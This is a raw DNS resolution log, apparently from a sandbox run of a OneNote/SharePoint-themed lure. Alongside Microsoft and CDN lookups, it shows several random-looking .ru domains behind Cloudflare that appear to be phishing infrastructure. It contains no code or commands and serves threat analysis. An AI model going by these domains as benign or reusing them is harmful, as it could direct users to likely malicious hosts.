Apr 26, 2024 09:59:07.949755907 CEST	1.1.1.1	192.168.2.4	0xba9c	No error (0)	usigroups-my.sharepoint.com	usigroups.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.949755907 CEST	1.1.1.1	192.168.2.4	0xba9c	No error (0)	usigroups.sharepoint.com	10344-ipv4v6e.clump.dprodmgd105.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.949755907 CEST	1.1.1.1	192.168.2.4	0xba9c	No error (0)	10344-ipv4v6e.clump.dprodmgd105.aa-rt.sharepoint.com	193306-ipv4v6e.farm.dprodmgd105.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.949755907 CEST	1.1.1.1	192.168.2.4	0xba9c	No error (0)	193306-ipv4v6e.farm.dprodmgd105.aa-rt.sharepoint.com	193306-ipv4v6w.farm.dprodmgd105.sharepointonline.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.949755907 CEST	1.1.1.1	192.168.2.4	0xba9c	No error (0)	193306-ipv4v6.farm.dprodmgd105.aa-rt.sharepoint.com.dual-spo-0005.spo-msedge.net	dual-spo-0005.spo-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.949755907 CEST	1.1.1.1	192.168.2.4	0xba9c	No error (0)	dual-spo-0005.spo-msedge.net		13.107.136.10	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:07.949755907 CEST	1.1.1.1	192.168.2.4	0xba9c	No error (0)	dual-spo-0005.spo-msedge.net		13.107.138.10	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:07.955307961 CEST	1.1.1.1	192.168.2.4	0x2b94	No error (0)	usigroups-my.sharepoint.com	usigroups.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.955307961 CEST	1.1.1.1	192.168.2.4	0x2b94	No error (0)	usigroups.sharepoint.com	10344-ipv4v6e.clump.dprodmgd105.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.955307961 CEST	1.1.1.1	192.168.2.4	0x2b94	No error (0)	10344-ipv4v6e.clump.dprodmgd105.aa-rt.sharepoint.com	193306-ipv4v6e.farm.dprodmgd105.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:07.955307961 CEST	1.1.1.1	192.168.2.4	0x2b94	No error (0)	193306-ipv4v6e.farm.dprodmgd105.aa-rt.sharepoint.com	193306-ipv4v6w.farm.dprodmgd105.sharepointonline.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:08.916371107 CEST	1.1.1.1	192.168.2.4	0xaa5a	No error (0)	www.google.com		172.217.3.68	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:08.916547060 CEST	1.1.1.1	192.168.2.4	0x3600	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 09:59:09.342569113 CEST	1.1.1.1	192.168.2.4	0x8b50	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:09.342569113 CEST	1.1.1.1	192.168.2.4	0x8b50	No error (0)	sni1gl.wpc.sigmacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:09.343795061 CEST	1.1.1.1	192.168.2.4	0x2b7a	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:09.750149012 CEST	1.1.1.1	192.168.2.4	0x68b6	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:09.750149012 CEST	1.1.1.1	192.168.2.4	0x68b6	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:09.750149012 CEST	1.1.1.1	192.168.2.4	0x68b6	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:10.568294048 CEST	1.1.1.1	192.168.2.4	0xaacc	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:10.568294048 CEST	1.1.1.1	192.168.2.4	0xaacc	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:10.568294048 CEST	1.1.1.1	192.168.2.4	0xaacc	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:10.568294048 CEST	1.1.1.1	192.168.2.4	0xaacc	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:10.569252968 CEST	1.1.1.1	192.168.2.4	0xc05a	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:11.062810898 CEST	1.1.1.1	192.168.2.4	0x5a4	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:11.062810898 CEST	1.1.1.1	192.168.2.4	0x5a4	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:11.062810898 CEST	1.1.1.1	192.168.2.4	0x5a4	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:12.733766079 CEST	1.1.1.1	192.168.2.4	0xc2b3	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:12.733766079 CEST	1.1.1.1	192.168.2.4	0xc2b3	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:12.733766079 CEST	1.1.1.1	192.168.2.4	0xc2b3	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:13.316968918 CEST	1.1.1.1	192.168.2.4	0x7297	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:13.318085909 CEST	1.1.1.1	192.168.2.4	0x2f12	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:21.560997009 CEST	1.1.1.1	192.168.2.4	0x7e43	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:21.560997009 CEST	1.1.1.1	192.168.2.4	0x7e43	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:23.305239916 CEST	1.1.1.1	192.168.2.4	0x11f2	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:23.305239916 CEST	1.1.1.1	192.168.2.4	0x11f2	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:25.817857027 CEST	1.1.1.1	192.168.2.4	0x3ed9	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:25.817857027 CEST	1.1.1.1	192.168.2.4	0x3ed9	No error (0)	sni1gl.wpc.sigmacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:25.818280935 CEST	1.1.1.1	192.168.2.4	0x3c1d	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:26.816381931 CEST	1.1.1.1	192.168.2.4	0xd8cf	No error (0)	spoprod-a.akamaihd.net	spoprod-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:26.904442072 CEST	1.1.1.1	192.168.2.4	0x1be7	No error (0)	spoprod-a.akamaihd.net	spoprod-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:30.871375084 CEST	1.1.1.1	192.168.2.4	0x55bc	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:30.871375084 CEST	1.1.1.1	192.168.2.4	0x55bc	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:30.871375084 CEST	1.1.1.1	192.168.2.4	0x55bc	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:30.871375084 CEST	1.1.1.1	192.168.2.4	0x55bc	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:30.871375084 CEST	1.1.1.1	192.168.2.4	0x55bc	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:30.972748041 CEST	1.1.1.1	192.168.2.4	0xca1f	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:30.972748041 CEST	1.1.1.1	192.168.2.4	0xca1f	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.116071939 CEST	1.1.1.1	192.168.2.4	0x9147	No error (0)	amcdn.msftauth.net	mecontrol-prod.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.116071939 CEST	1.1.1.1	192.168.2.4	0x9147	No error (0)	mecontrol-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.116071939 CEST	1.1.1.1	192.168.2.4	0x9147	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.116071939 CEST	1.1.1.1	192.168.2.4	0x9147	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:31.116071939 CEST	1.1.1.1	192.168.2.4	0x9147	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:31.116502047 CEST	1.1.1.1	192.168.2.4	0xd320	No error (0)	amcdn.msftauth.net	mecontrol-prod.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.116502047 CEST	1.1.1.1	192.168.2.4	0xd320	No error (0)	mecontrol-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.117768049 CEST	1.1.1.1	192.168.2.4	0xf8b1	No error (0)	storage.live.com	common-geo.ha.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.117768049 CEST	1.1.1.1	192.168.2.4	0xf8b1	No error (0)	common-geo.ha.1drv.com	common-us.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.118570089 CEST	1.1.1.1	192.168.2.4	0xe0d9	No error (0)	storage.live.com	common-geo.ha.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.118570089 CEST	1.1.1.1	192.168.2.4	0xe0d9	No error (0)	common-geo.ha.1drv.com	common-us.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.381814003 CEST	1.1.1.1	192.168.2.4	0xa894	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.533382893 CEST	1.1.1.1	192.168.2.4	0x6938	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.976486921 CEST	1.1.1.1	192.168.2.4	0xc3cf	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:31.976525068 CEST	1.1.1.1	192.168.2.4	0xc7b7	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:32.734548092 CEST	1.1.1.1	192.168.2.4	0x91f3	No error (0)	js.monitor.azure.com	aijscdn2.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:32.734548092 CEST	1.1.1.1	192.168.2.4	0x91f3	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:32.734548092 CEST	1.1.1.1	192.168.2.4	0x91f3	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:32.734548092 CEST	1.1.1.1	192.168.2.4	0x91f3	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:32.735435963 CEST	1.1.1.1	192.168.2.4	0x62c7	No error (0)	js.monitor.azure.com	aijscdn2.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:33.723155022 CEST	1.1.1.1	192.168.2.4	0x80b6	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:33.862437010 CEST	1.1.1.1	192.168.2.4	0xae5f	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:35.173804045 CEST	1.1.1.1	192.168.2.4	0x4fc6	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:35.173804045 CEST	1.1.1.1	192.168.2.4	0x4fc6	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:35.173804045 CEST	1.1.1.1	192.168.2.4	0x4fc6	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:35.173804045 CEST	1.1.1.1	192.168.2.4	0x4fc6	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:35.173804045 CEST	1.1.1.1	192.168.2.4	0x4fc6	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:35.278907061 CEST	1.1.1.1	192.168.2.4	0x248f	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:35.278907061 CEST	1.1.1.1	192.168.2.4	0x248f	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:36.157109022 CEST	1.1.1.1	192.168.2.4	0xe28f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:36.157109022 CEST	1.1.1.1	192.168.2.4	0xe28f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:41.858619928 CEST	1.1.1.1	192.168.2.4	0x877	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:41.858647108 CEST	1.1.1.1	192.168.2.4	0xde01	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:41.868248940 CEST	1.1.1.1	192.168.2.4	0xc48d	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:41.868845940 CEST	1.1.1.1	192.168.2.4	0xdb97	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:41.873539925 CEST	1.1.1.1	192.168.2.4	0x3fa7	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:41.873539925 CEST	1.1.1.1	192.168.2.4	0x3fa7	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:41.873539925 CEST	1.1.1.1	192.168.2.4	0x3fa7	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:41.873539925 CEST	1.1.1.1	192.168.2.4	0x3fa7	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:41.874119997 CEST	1.1.1.1	192.168.2.4	0x2162	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:43.388266087 CEST	1.1.1.1	192.168.2.4	0x3a95	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:43.388993979 CEST	1.1.1.1	192.168.2.4	0x8ef2	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:43.708266020 CEST	1.1.1.1	192.168.2.4	0x2df2	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:43.708307981 CEST	1.1.1.1	192.168.2.4	0xa6df	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:50.718998909 CEST	1.1.1.1	192.168.2.4	0x25b6	No error (0)	4odq.cxnev1.ru		172.67.173.130	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:50.718998909 CEST	1.1.1.1	192.168.2.4	0x25b6	No error (0)	4odq.cxnev1.ru		104.21.30.182	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:50.808326006 CEST	1.1.1.1	192.168.2.4	0x5366	No error (0)	4odq.cxnev1.ru			65	IN (0x0001)	false
Apr 26, 2024 09:59:50.936832905 CEST	1.1.1.1	192.168.2.4	0x7615	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:50.936832905 CEST	1.1.1.1	192.168.2.4	0x7615	No error (0)	sni1gl.wpc.sigmacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:50.937773943 CEST	1.1.1.1	192.168.2.4	0x5a4f	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:52.109225035 CEST	1.1.1.1	192.168.2.4	0x3a9	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:52.109596968 CEST	1.1.1.1	192.168.2.4	0x6667	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:52.109596968 CEST	1.1.1.1	192.168.2.4	0x6667	No error (0)	sni1gl.wpc.sigmacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:52.344187975 CEST	1.1.1.1	192.168.2.4	0xd8e5	No error (0)	yo5.6gniu68.ru		172.67.144.70	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:52.344187975 CEST	1.1.1.1	192.168.2.4	0xd8e5	No error (0)	yo5.6gniu68.ru		104.21.95.100	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:52.423108101 CEST	1.1.1.1	192.168.2.4	0x873	No error (0)	yo5.6gniu68.ru			65	IN (0x0001)	false
Apr 26, 2024 09:59:54.383688927 CEST	1.1.1.1	192.168.2.4	0x90b0	No error (0)	yo5.6gniu68.ru			65	IN (0x0001)	false
Apr 26, 2024 09:59:54.487865925 CEST	1.1.1.1	192.168.2.4	0x10bb	No error (0)	yo5.6gniu68.ru		104.21.95.100	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:54.487865925 CEST	1.1.1.1	192.168.2.4	0x10bb	No error (0)	yo5.6gniu68.ru		172.67.144.70	A (IP address)	IN (0x0001)	false
Apr 26, 2024 09:59:58.412000895 CEST	1.1.1.1	192.168.2.4	0xb8a6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 09:59:58.412000895 CEST	1.1.1.1	192.168.2.4	0xb8a6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:02.038808107 CEST	1.1.1.1	192.168.2.4	0x9ef2	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 10:00:02.038906097 CEST	1.1.1.1	192.168.2.4	0x7b62	No error (0)	www.google.com		142.250.64.196	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:09.830785990 CEST	1.1.1.1	192.168.2.4	0xe276	No error (0)	fdexa.nhol.ru		104.21.67.35	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:09.830785990 CEST	1.1.1.1	192.168.2.4	0xe276	No error (0)	fdexa.nhol.ru		172.67.211.217	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:09.933655977 CEST	1.1.1.1	192.168.2.4	0xddb4	No error (0)	fdexa.nhol.ru			65	IN (0x0001)	false
Apr 26, 2024 10:00:10.867234945 CEST	1.1.1.1	192.168.2.4	0xbfbf	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.867234945 CEST	1.1.1.1	192.168.2.4	0xbfbf	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.867234945 CEST	1.1.1.1	192.168.2.4	0xbfbf	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.867234945 CEST	1.1.1.1	192.168.2.4	0xbfbf	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.867898941 CEST	1.1.1.1	192.168.2.4	0x50a4	No error (0)	www.google.com		142.250.217.228	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.868077040 CEST	1.1.1.1	192.168.2.4	0x4f88	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 10:00:10.873222113 CEST	1.1.1.1	192.168.2.4	0xb604	No error (0)	fdexa.nhol.ru		172.67.211.217	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:10.873222113 CEST	1.1.1.1	192.168.2.4	0xb604	No error (0)	fdexa.nhol.ru		104.21.67.35	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:11.094321012 CEST	1.1.1.1	192.168.2.4	0x2c9d	No error (0)	fdexa.nhol.ru			65	IN (0x0001)	false
Apr 26, 2024 10:00:11.981992006 CEST	1.1.1.1	192.168.2.4	0xd5b4	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:11.981992006 CEST	1.1.1.1	192.168.2.4	0xd5b4	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:11.981992006 CEST	1.1.1.1	192.168.2.4	0xd5b4	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:11.981992006 CEST	1.1.1.1	192.168.2.4	0xd5b4	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.316447020 CEST	1.1.1.1	192.168.2.4	0x618f	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.318408012 CEST	1.1.1.1	192.168.2.4	0x3733	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:13.380669117 CEST	1.1.1.1	192.168.2.4	0x2195	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:13.383960962 CEST	1.1.1.1	192.168.2.4	0x59bd	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:13.442898035 CEST	1.1.1.1	192.168.2.4	0x597a	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:13.557605982 CEST	1.1.1.1	192.168.2.4	0xb08d	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 10:00:13.557641983 CEST	1.1.1.1	192.168.2.4	0xc13e	No error (0)	www.google.com		142.250.217.228	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:13.841742992 CEST	1.1.1.1	192.168.2.4	0xd5bd	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:13.842111111 CEST	1.1.1.1	192.168.2.4	0x6a5a	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:19.083583117 CEST	1.1.1.1	192.168.2.4	0x7697	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:19.083583117 CEST	1.1.1.1	192.168.2.4	0x7697	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:19.346776962 CEST	1.1.1.1	192.168.2.4	0x3ce4	No error (0)	fnfi.kewtdz.ru			65	IN (0x0001)	false
Apr 26, 2024 10:00:19.389061928 CEST	1.1.1.1	192.168.2.4	0x120b	No error (0)	fnfi.kewtdz.ru		172.67.209.50	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:19.389061928 CEST	1.1.1.1	192.168.2.4	0x120b	No error (0)	fnfi.kewtdz.ru		104.21.23.49	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:20.583504915 CEST	1.1.1.1	192.168.2.4	0x6bc8	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
